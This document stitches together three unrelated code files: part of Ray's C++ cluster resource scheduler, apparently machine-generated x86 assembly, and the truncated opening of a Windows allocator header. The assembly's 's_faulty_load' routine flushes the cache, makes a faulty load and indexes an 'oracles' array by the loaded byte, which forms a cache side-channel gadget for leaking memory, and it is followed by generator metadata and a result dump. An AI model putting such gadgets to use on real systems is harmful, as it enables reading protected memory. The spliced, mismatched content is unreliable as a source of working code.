std::string resource_name = ResourceEnumToString(static_cast<PredefinedResources>(i));
buffer << "\"" << resource_name << "\":";
bool is_unit_instance = predefined_unit_instance_resources_.find(i) !=
predefined_unit_instance_resources_.end();
if (!is_unit_instance) {
buffer << resource[0];
} else {
buffer << "[";
for (size_t i = 0; i < resource.size(); i++) {
buffer << resource[i];
if (i < resource.size() - 1) {
buffer << ", ";
}
}
buffer << "]";
}
has_added_resource = true;
}
// TODO (chenk008): add custom_resources
buffer << "}";
return buffer.str();
}
std::string ClusterResourceScheduler::DebugString(void) const {
std::stringstream buffer;
buffer << "\nLocal id: " << local_node_id_;
buffer << " Local resources: " << local_resources_.DebugString(string_to_int_map_);
for (auto &node : nodes_) {
buffer << "node id: " << node.first;
buffer << node.second.GetLocalView().DebugString(string_to_int_map_);
}
return buffer.str();
}
void ClusterResourceScheduler::InitResourceInstances(
FixedPoint total, bool unit_instances, ResourceInstanceCapacities *instance_list) {
if (unit_instances) {
size_t num_instances = static_cast<size_t>(total.Double());
instance_list->total.resize(num_instances);
instance_list->available.resize(num_instances);
for (size_t i = 0; i < num_instances; i++) {
instance_list->total[i] = instance_list->available[i] = 1.0;
};
} else {
instance_list->total.resize(1);
instance_list->available.resize(1);
instance_list->total[0] = instance_list->available[0] = total;
}
}
std::string ClusterResourceScheduler::GetLocalResourceViewString() const {
const auto &node_it = nodes_.find(local_node_id_);
RAY_CHECK(node_it != nodes_.end());
return node_it->second.GetLocalView().DictString(string_to_int_map_);
}
void ClusterResourceScheduler::InitLocalResources(const NodeResources &node_resources) {
local_resources_.predefined_resources.resize(PredefinedResources_MAX);
for (size_t i = 0; i < PredefinedResources_MAX; i++) {
if (node_resources.predefined_resources[i].total > 0) {
// when we enable cpushare, the CPU will not be treat as unit_instance.
bool is_unit_instance = predefined_unit_instance_resources_.find(i) !=
predefined_unit_instance_resources_.end();
InitResourceInstances(node_resources.predefined_resources[i].total,
is_unit_instance, &local_resources_.predefined_resources[i]);
}
}
if (node_resources.custom_resources.size() == 0) {
return;
}
for (auto it = node_resources.custom_resources.begin();
it != node_resources.custom_resources.end(); ++it) {
if (it->second.total > 0) {
bool is_unit_instance = custom_unit_instance_resources_.find(it->first) !=
custom_unit_instance_resources_.end();
ResourceInstanceCapacities instance_list;
InitResourceInstances(it->second.total, is_unit_instance, &instance_list);
local_resources_.custom_resources.emplace(it->first, instance_list);
}
}
}
std::vector<FixedPoint> ClusterResourceScheduler::AddAvailableResourceInstances(
std::vector<FixedPoint> available, ResourceInstanceCapacities *resource_instances) {
std::vector<FixedPoint> overflow(available.size(), 0.);
for (size_t i = 0; i < available.size(); i++) {
resource_instances->available[i] = resource_instances->available[i] + available[i];
if (resource_instances->available[i] > resource_instances->total[i]) {
overflow[i] = (resource_instances->available[i] - resource_instances->total[i]);
resource_instances->available[i] = resource_instances->total[i];
}
}
return overflow;
}
std::vector<FixedPoint> ClusterResourceScheduler::SubtractAvailableResourceInstances(
std::vector<FixedPoint> available, ResourceInstanceCapacities *resource_instances,
bool allow_going_negative) {
RAY_CHECK(available.size() == resource_instances->available.size());
std::vector<FixedPoint> underflow(available.size(), 0.);
for (size_t i = 0; i < available.size(); i++) {
if (resource_instances->available[i] < 0) {
if (allow_going_negative) {
resource_instances->available[i] =
resource_instances->available[i] - available[i];
} else {
underflow[i] = available[i]; // No change in the value in this case.
}
} else {
resource_instances->available[i] = resource_instances->available[i] - available[i];
if (resource_instances->available[i] < 0 && !allow_going_negative) {
underflow[i] = -resource_instances->available[i];
resource_instances->available[i] = 0;
}
}
}
return underflow;
}
bool ClusterResourceScheduler::AllocateResourceInstances(
FixedPoint demand, std::vector<FixedPoint> &available,
std::vector<FixedPoint> *allocation) {
allocation->resize(available.size());
FixedPoint remaining_demand = demand;
if (available.size() == 1) {
// This resource has just an instance.
if (available[0] >= remaining_demand) {
available[0] -= remaining_demand;
(*allocation)[0] = remaining_demand;
return true;
} else {
// Not enough capacity.
return false;
}
}
// If resources has multiple instances, each instance has total capacity of 1.
//
// If this resource constraint is hard, as long as remaining_demand is greater than 1.,
// allocate full unit-capacity instances until the remaining_demand becomes fractional.
// Then try to find the best fit for the fractional remaining_resources. Best fist means
// allocating the resource instance with the smallest available capacity greater than
// remaining_demand
//
// If resource constraint is soft, allocate as many full unit-capacity resources and
// then distribute remaining_demand across remaining instances. Note that in case we can
// overallocate this resource.
if (remaining_demand >= 1.) {
for (size_t i = 0; i < available.size(); i++) {
if (available[i] == 1.) {
// Allocate a full unit-capacity instance.
(*allocation)[i] = 1.;
available[i] = 0;
remaining_demand -= 1.;
}
if (remaining_demand < 1.) {
break;
}
}
}
if (remaining_demand >= 1.) {
// Cannot satisfy a demand greater than one if no unit capacity resource is available.
return false;
}
// Remaining demand is fractional. Find the best fit, if exists.
if (remaining_demand > 0.) {
int64_t idx_best_fit = -1;
FixedPoint available_best_fit = 1.;
for (size_t i = 0; i < available.size(); i++) {
if (available[i] >= remaining_demand) {
if (idx_best_fit == -1 ||
(available[i] - remaining_demand < available_best_fit)) {
available_best_fit = available[i] - remaining_demand;
idx_best_fit = static_cast<int64_t>(i);
}
}
}
if (idx_best_fit == -1) {
return false;
} else {
(*allocation)[idx_best_fit] = remaining_demand;
available[idx_best_fit] -= remaining_demand;
}
}
return true;
}
bool ClusterResourceScheduler::AllocateTaskResourceInstances(
const ResourceRequest &resource_request,
std::shared_ptr<TaskResourceInstances> task_allocation) {
RAY_CHECK(task_allocation != nullptr);
if (nodes_.find(local_node_id_) == nodes_.end()) {
return false;
}
task_allocation->predefined_resources.resize(PredefinedResources_MAX);
for (size_t i = 0; i < PredefinedResources_MAX; i++) {
if (resource_request.predefined_resources[i] > 0) {
if (!AllocateResourceInstances(resource_request.predefined_resources[i],
local_resources_.predefined_resources[i].available,
&task_allocation->predefined_resources[i])) {
// Allocation failed. Restore node's local resources by freeing the resources
// of the failed allocation.
FreeTaskResourceInstances(task_allocation);
return false;
}
}
}
for (const auto &task_req_custom_resource : resource_request.custom_resources) {
auto it = local_resources_.custom_resources.find(task_req_custom_resource.first);
if (it != local_resources_.custom_resources.end()) {
if (task_req_custom_resource.second > 0) {
std::vector<FixedPoint> allocation;
bool success = AllocateResourceInstances(task_req_custom_resource.second,
it->second.available, &allocation);
// Even if allocation failed we need to remember partial allocations to correctly
// free resources.
task_allocation->custom_resources.emplace(it->first, allocation);
if (!success) {
// Allocation failed. Restore node's local resources by freeing the resources
// of the failed allocation.
FreeTaskResourceInstances(task_allocation);
return false;
}
}
} else {
// Allocation failed because the custom resources don't exist in this local node.
// Restore node's local resources by freeing the resources
// of the failed allocation.
FreeTaskResourceInstances(task_allocation);
return false;
}
}
return true;
}
void ClusterResourceScheduler::UpdateLocalAvailableResourcesFromResourceInstances() {
auto it_local_node = nodes_.find(local_node_id_);
RAY_CHECK(it_local_node != nodes_.end());
auto local_view = it_local_node->second.GetMutableLocalView();
for (size_t i = 0; i < PredefinedResources_MAX; i++) {
local_view->predefined_resources[i].available = 0;
local_view->predefined_resources[i].total = 0;
for (size_t j = 0; j < local_resources_.predefined_resources[i].available.size();
j++) {
local_view->predefined_resources[i].available +=
local_resources_.predefined_resources[i].available[j];
local_view->predefined_resources[i].total +=
local_resources_.predefined_resources[i].total[j];
}
}
for (auto &custom_resource : local_resources_.custom_resources) {
int64_t resource_name = custom_resource.first;
auto &instances = custom_resource.second;
FixedPoint available = std::accumulate(instances.available.begin(),
instances.available.end(), FixedPoint());
FixedPoint total =
std::accumulate(instances.total.begin(), instances.total.end(), FixedPoint());
local_view->custom_resources[resource_name].available = available;
local_view->custom_resources[resource_name].total = total;
}
}
void ClusterResourceScheduler::FreeTaskResourceInstances(
std::shared_ptr<TaskResourceInstances> task_allocation) {
RAY_CHECK(task_allocation != nullptr);
for (size_t i = 0; i < PredefinedResources_MAX; i++) {
AddAvailableResourceInstances(task_allocation->predefined_resources[i],
&local_resources_.predefined_resources[i]);
}
for (const auto &task_allocation_custom_resource : task_allocation->custom_resources) {
auto it =
local_resources_.custom_resources.find(task_allocation_custom_resource.first);
if (it != local_resources_.custom_resources.end()) {
AddAvailableResourceInstances(task_allocation_custom_resource.second, &it->second);
}
}
}
std::vector<double> ClusterResourceScheduler::AddCPUResourceInstances(
std::vector<double> &cpu_instances) {
std::vector<FixedPoint> cpu_instances_fp =
VectorDoubleToVectorFixedPoint(cpu_instances);
if (cpu_instances.size() == 0) {
return cpu_instances; // No overflow.
}
RAY_CHECK(nodes_.find(local_node_id_) != nodes_.end());
auto overflow = AddAvailableResourceInstances(
cpu_instances_fp, &local_resources_.predefined_resources[CPU]);
UpdateLocalAvailableResourcesFromResourceInstances();
return VectorFixedPointToVectorDouble(overflow);
}
std::vector<double> ClusterResourceScheduler::SubtractCPUResourceInstances(
std::vector<double> &cpu_instances, bool allow_going_negative) {
std::vector<FixedPoint> cpu_instances_fp =
VectorDoubleToVectorFixedPoint(cpu_instances);
if (cpu_instances.size() == 0) {
return cpu_instances; // No underflow.
}
RAY_CHECK(nodes_.find(local_node_id_) != nodes_.end());
auto underflow = SubtractAvailableResourceInstances(
cpu_instances_fp, &local_resources_.predefined_resources[CPU],
allow_going_negative);
UpdateLocalAvailableResourcesFromResourceInstances();
return VectorFixedPointToVectorDouble(underflow);
}
std::vector<double> ClusterResourceScheduler::AddGPUResourceInstances(
std::vector<double> &gpu_instances) {
std::vector<FixedPoint> gpu_instances_fp =
VectorDoubleToVectorFixedPoint(gpu_instances);
if (gpu_instances.size() == 0) {
return gpu_instances; // No overflow.
}
RAY_CHECK(nodes_.find(local_node_id_) != nodes_.end());
auto overflow = AddAvailableResourceInstances(
gpu_instances_fp, &local_resources_.predefined_resources[GPU]);
UpdateLocalAvailableResourcesFromResourceInstances();
return VectorFixedPointToVectorDouble(overflow);
}
std::vector<double> ClusterResourceScheduler::SubtractGPUResourceInstances(
std::vector<double> &gpu_instances) {
std::vector<FixedPoint> gpu_instances_fp =
VectorDoubleToVectorFixedPoint(gpu_instances);
if (gpu_instances.size() == 0) {
return gpu_instances; // No underflow.
}
RAY_CHECK(nodes_.find(local_node_id_) != nodes_.end());
auto underflow = SubtractAvailableResourceInstances(
gpu_instances_fp, &local_resources_.predefined_resources[GPU]);
UpdateLocalAvailableResourcesFromResourceInstances();
return VectorFixedPointToVectorDouble(underflow);
}
bool ClusterResourceScheduler::AllocateLocalTaskResources(
const ResourceRequest &resource_request,
std::shared_ptr<TaskResourceInstances> task_allocation) {
if (AllocateTaskResourceInstances(resource_request, task_allocation)) {
UpdateLocalAvailableResourcesFromResourceInstances();
return true;
}
return false;
}
bool ClusterResourceScheduler::AllocateLocalTaskResources(
const absl::flat_hash_map<std::string, double> &task_resources,
std::shared_ptr<TaskResourceInstances> task_allocation) {
RAY_CHECK(task_allocation != nullptr);
// We don't track object store memory demands so no need to allocate them.
ResourceRequest resource_request = ResourceMapToResourceRequest(
string_to_int_map_, task_resources, /*requires_object_store_memory=*/false);
return AllocateLocalTaskResources(resource_request, task_allocation);
}
std::string ClusterResourceScheduler::GetResourceNameFromIndex(int64_t res_idx) {
if (res_idx == CPU) {
return ray::kCPU_ResourceLabel;
} else if (res_idx == GPU) {
return ray::kGPU_ResourceLabel;
} else if (res_idx == OBJECT_STORE_MEM) {
return ray::kObjectStoreMemory_ResourceLabel;
} else if (res_idx == MEM) {
return ray::kMemory_ResourceLabel;
} else {
return string_to_int_map_.Get((uint64_t)res_idx);
}
}
bool ClusterResourceScheduler::AllocateRemoteTaskResources(
const std::string &node_string,
const absl::flat_hash_map<std::string, double> &task_resources) {
ResourceRequest resource_request = ResourceMapToResourceRequest(
string_to_int_map_, task_resources, /*requires_object_store_memory=*/false);
auto node_id = string_to_int_map_.Insert(node_string);
RAY_CHECK(node_id != local_node_id_);
return SubtractRemoteNodeAvailableResources(node_id, resource_request);
}
void ClusterResourceScheduler::ReleaseWorkerResources(
std::shared_ptr<TaskResourceInstances> task_allocation) {
if (task_allocation == nullptr || task_allocation->IsEmpty()) {
return;
}
FreeTaskResourceInstances(task_allocation);
UpdateLocalAvailableResourcesFromResourceInstances();
}
void ClusterResourceScheduler::UpdateLastResourceUsage(
std::shared_ptr<SchedulingResources> gcs_resources) {
last_report_resources_ = std::make_unique<NodeResources>(ResourceMapToNodeResources(
string_to_int_map_, gcs_resources->GetTotalResources().GetResourceMap(),
gcs_resources->GetAvailableResources().GetResourceMap()));
}
void ClusterResourceScheduler::FillResourceUsage(rpc::ResourcesData &resources_data) {
NodeResources resources;
RAY_CHECK(GetNodeResources(local_node_id_, &resources))
<< "Error: Populating heartbeat failed. Please file a bug report: "
"https://github.com/ray-project/ray/issues/new.";
// Initialize if last report resources is empty.
if (!last_report_resources_) {
NodeResources node_resources =
ResourceMapToNodeResources(string_to_int_map_, {{}}, {{}});
last_report_resources_.reset(new NodeResources(node_resources));
}
// Automatically report object store usage.
// XXX: this MUTATES the resources field, which is needed since we are storing
// it in last_report_resources_.
if (get_used_object_store_memory_ != nullptr) {
auto &capacity = resources.predefined_resources[OBJECT_STORE_MEM];
double used = get_used_object_store_memory_();
capacity.available = FixedPoint(capacity.total.Double() - used);
}
for (int i = 0; i < PredefinedResources_MAX; i++) {
const auto &label = ResourceEnumToString((PredefinedResources)i);
const auto &capacity = resources.predefined_resources[i];
const auto &last_capacity = last_report_resources_->predefined_resources[i];
// Note: available may be negative, but only report positive to GCS.
if (capacity.available != last_capacity.available && capacity.available > 0) {
resources_data.set_resources_available_changed(true);
(*resources_data.mutable_resources_available())[label] =
capacity.available.Double();
}
if (capacity.total != last_capacity.total) {
(*resources_data.mutable_resources_total())[label] = capacity.total.Double();
}
}
for (const auto &it : resources.custom_resources) {
uint64_t custom_id = it.first;
const auto &capacity = it.second;
const auto &last_capacity = last_report_resources_->custom_resources[custom_id];
const auto &label = string_to_int_map_.Get(custom_id);
// Note: available may be negative, but only report positive to GCS.
if (capacity.available != last_capacity.available && capacity.available > 0) {
resources_data.set_resources_available_changed(true);
(*resources_data.mutable_resources_available())[label] =
capacity.available.Double();
}
if (capacity.total != last_capacity.total) {
(*resources_data.mutable_resources_total())[label] = capacity.total.Double();
}
}
if (get_pull_manager_at_capacity_ != nullptr) {
resources.object_pulls_queued = get_pull_manager_at_capacity_();
if (last_report_resources_->object_pulls_queued != resources.object_pulls_queued) {
resources_data.set_object_pulls_queued(resources.object_pulls_queued);
resources_data.set_resources_available_changed(true);
}
}
if (resources != *last_report_resources_.get()) {
last_report_resources_.reset(new NodeResources(resources));
}
if (!RayConfig::instance().enable_light_weight_resource_report()) {
resources_data.set_resources_available_changed(true);
}
}
double ClusterResourceScheduler::GetLocalAvailableCpus() const {
NodeResources local_resources;
RAY_CHECK(GetNodeResources(local_node_id_, &local_resources));
auto &capacity = local_resources.predefined_resources[CPU];
return capacity.available.Double();
}
ray::gcs::NodeResourceInfoAccessor::ResourceMap
ClusterResourceScheduler::GetResourceTotals(
const absl::flat_hash_map<std::string, double> &resource_map_filter) const {
ray::gcs::NodeResourceInfoAccessor::ResourceMap map;
auto it = nodes_.find(local_node_id_);
RAY_CHECK(it != nodes_.end());
const auto &local_resources = it->second.GetLocalView();
for (size_t i = 0; i < local_resources.predefined_resources.size(); i++) {
std::string resource_name = ResourceEnumToString(static_cast<PredefinedResources>(i));
double resource_total = local_resources.predefined_resources[i].total.Double();
if (!resource_map_filter.contains(resource_name)) {
continue;
}
if (resource_total > 0) {
auto data = std::make_shared<rpc::ResourceTableData>();
data->set_resource_capacity(resource_total);
map.emplace(resource_name, std::move(data));
}
}
for (auto entry : local_resources.custom_resources) {
std::string resource_name = string_to_int_map_.Get(entry.first);
double resource_total = entry.second.total.Double();
if (!resource_map_filter.contains(resource_name)) {
continue;
}
if (resource_total > 0) {
auto data = std::make_shared<rpc::ResourceTableData>();
data->set_resource_capacity(resource_total);
map.emplace(resource_name, std::move(data));
}
}
return map;
}
bool ClusterResourceScheduler::IsLocallySchedulable(
const absl::flat_hash_map<std::string, double> &shape) {
auto resource_request = ResourceMapToResourceRequest(
string_to_int_map_, shape, /*requires_object_store_memory=*/false);
return IsSchedulable(resource_request, local_node_id_, GetLocalNodeResources());
}
} // namespace ray
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x137ee, %rbx
nop
sub %r13, %r13
movb $0x61, (%rbx)
nop
nop
xor %rax, %rax
lea addresses_WT_ht+0x12872, %r8
clflush (%r8)
nop
nop
nop
nop
nop
xor %rcx, %rcx
mov (%r8), %r10
nop
cmp %rbx, %rbx
lea addresses_UC_ht+0x194a, %rbx
nop
nop
and %r11, %r11
movw $0x6162, (%rbx)
cmp $4725, %r11
lea addresses_WT_ht+0x24a, %r13
nop
nop
nop
xor $50062, %r11
mov $0x6162636465666768, %r10
movq %r10, %xmm2
vmovups %ymm2, (%r13)
nop
nop
add $30769, %r11
lea addresses_WC_ht+0x32ca, %rbx
nop
nop
nop
xor $15752, %r10
mov $0x6162636465666768, %r13
movq %r13, (%rbx)
nop
nop
nop
nop
cmp %r8, %r8
lea addresses_UC_ht+0x1934a, %r8
clflush (%r8)
nop
nop
nop
nop
xor $12311, %rcx
mov $0x6162636465666768, %r13
movq %r13, (%r8)
and %rax, %rax
lea addresses_WT_ht+0x1e24a, %rsi
lea addresses_normal_ht+0x12d8a, %rdi
dec %r11
mov $93, %rcx
rep movsl
nop
nop
add %rbx, %rbx
lea addresses_normal_ht+0x4a, %r13
nop
nop
nop
nop
add %rdi, %rdi
movw $0x6162, (%r13)
nop
nop
xor %rbx, %rbx
lea addresses_UC_ht+0x1624a, %rsi
lea addresses_UC_ht+0x1052a, %rdi
nop
sub $22660, %r11
mov $73, %rcx
rep movsb
nop
and $17921, %rsi
lea addresses_normal_ht+0x6b0d, %rbx
nop
nop
nop
and %rsi, %rsi
movb $0x61, (%rbx)
nop
nop
dec %rsi
lea addresses_UC_ht+0x1c2ea, %r11
nop
and %r10, %r10
movw $0x6162, (%r11)
nop
nop
nop
nop
nop
inc %r11
lea addresses_A_ht+0x18a4a, %rsi
lea addresses_UC_ht+0x1ae4a, %rdi
nop
nop
nop
nop
xor $42945, %rax
mov $104, %rcx
rep movsl
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x184a, %r8
nop
nop
and $34440, %r10
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%r8)
nop
xor $14424, %r10
lea addresses_normal_ht+0x14852, %rsi
inc %r8
mov $0x6162636465666768, %rbx
movq %rbx, (%rsi)
nop
nop
sub %r10, %r10
lea addresses_UC_ht+0x3b1a, %rsi
lea addresses_WT_ht+0x4d7a, %rdi
nop
nop
sub $57513, %r10
mov $70, %rcx
rep movsb
nop
nop
nop
nop
add %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rbp
push %rbx
push %rdi
push %rdx
// Store
lea addresses_D+0x11aca, %rbp
nop
nop
nop
xor $47303, %rbx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm4
vmovups %ymm4, (%rbp)
nop
nop
nop
nop
nop
xor $54140, %r13
// Store
lea addresses_normal+0x1964a, %rbx
nop
nop
nop
nop
inc %r9
mov $0x5152535455565758, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%rbx)
nop
nop
nop
add %r9, %r9
// Store
lea addresses_WC+0x1724a, %rbp
nop
nop
nop
nop
add $45008, %r12
mov $0x5152535455565758, %r13
movq %r13, %xmm1
and $0xffffffffffffffc0, %rbp
vmovntdq %ymm1, (%rbp)
nop
and %rbx, %rbx
// Store
lea addresses_RW+0x9b5e, %rbp
cmp $62127, %rdx
mov $0x5152535455565758, %r9
movq %r9, (%rbp)
nop
nop
nop
and %r12, %r12
// Store
lea addresses_WC+0x7d0e, %r12
nop
nop
nop
nop
add %rbp, %rbp
movb $0x51, (%r12)
nop
nop
nop
xor $2659, %r12
// Faulty Load
mov $0x6e08df000000024a, %r13
clflush (%r13)
nop
nop
nop
nop
xor %rdi, %rdi
mov (%r13), %r12d
lea oracles, %r13
and $0xff, %r12
shlq $12, %r12
mov (%r13,%r12,1), %r12
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_WC'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': True, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_RW'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 1, 'AVXalign': True, 'same': True, 'size': 8, 'NT': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': True, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}}
{'45': 1, '00': 3541}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
#ifndef _w32_mm_Allocator_hpp__
#define _w32_mm_Allocator_hpp__
// Copyright (c) 2009-2012, Andre Caron (andre.l.caron@gmail.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include "__configure__.hpp"
#include <w32/NotCopyable.hpp>
#include <w32/types.hpp>
namespace w32 { namespace mm {
/*!
* @ingroup w32-mm
*/
class Allocator
{
/* construction. */
public:
virtual ~Allocator () {}
/* methods. */
public:
/*!
* @brief Performs allocation of `amount` bytes of memory.
* @param amount Size of the requested chunk, in bytes.
* @return A pointer to the first byte in the chunk.
*/
